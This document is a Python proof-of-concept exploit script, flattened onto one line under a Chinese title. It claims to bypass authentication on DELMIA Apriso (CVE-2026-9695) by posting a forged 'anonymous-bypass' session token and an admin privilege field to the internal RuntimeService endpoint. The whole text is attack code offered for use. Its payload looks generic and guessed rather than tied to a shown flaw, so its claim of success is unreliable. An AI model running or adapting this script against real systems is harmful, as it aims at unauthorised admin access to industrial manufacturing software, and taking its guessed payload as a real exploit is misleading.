CVE-2026-9695 DELMIA Apriso 身份认证不当漏洞

# CVE-2026-9695 - DELMIA Apriso Improper Authentication PoC # This PoC demonstrates the concept of bypassing authentication # on DELMIA Apriso Release 2020-2026 to gain privileged access. import requests import sys TARGET_URL = "http://target-delmia-apriso-host:port" AUTH_ENDPOINT = "/Apriso/Default.aspx" # Authentication page API_ENDPOINT = "/Apriso/Runtime/RuntimeService" # Internal API endpoint def exploit_improper_auth(target): """ Exploit improper authentication by sending a crafted request that bypasses the normal login flow due to missing server-side validation of authentication state. """ session = requests.Session() # Step 1: Probe the authentication endpoint try: resp = session.get(f"{target}{AUTH_ENDPOINT}", timeout=10) print(f"[+] Auth endpoint reachable, status: {resp.status_code}") except Exception as e: print(f"[-] Cannot reach target: {e}") return False # Step 2: Attempt authentication bypass via crafted request # The vulnerability allows direct access to privileged resources # without valid credentials due to improper authentication checks. headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Craft a request that exploits the authentication flaw bypass_payload = { "operation": "GetUserInfo", "privilege": "admin", # Missing or forged session token accepted by server "sessionToken": "anonymous-bypass" } try: resp = session.post( f"{target}{API_ENDPOINT}", json=bypass_payload, headers=headers, timeout=10 ) if resp.status_code == 200 and "admin" in resp.text.lower(): print("[+] Authentication bypassed! Privileged access obtained.") print(f"[+] Response: {resp.text[:500]}") return True else: print(f"[-] Bypass attempt failed, status: {resp.status_code}") return False except Exception as e: print(f"[-] Exploit error: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL exploit_improper_auth(target)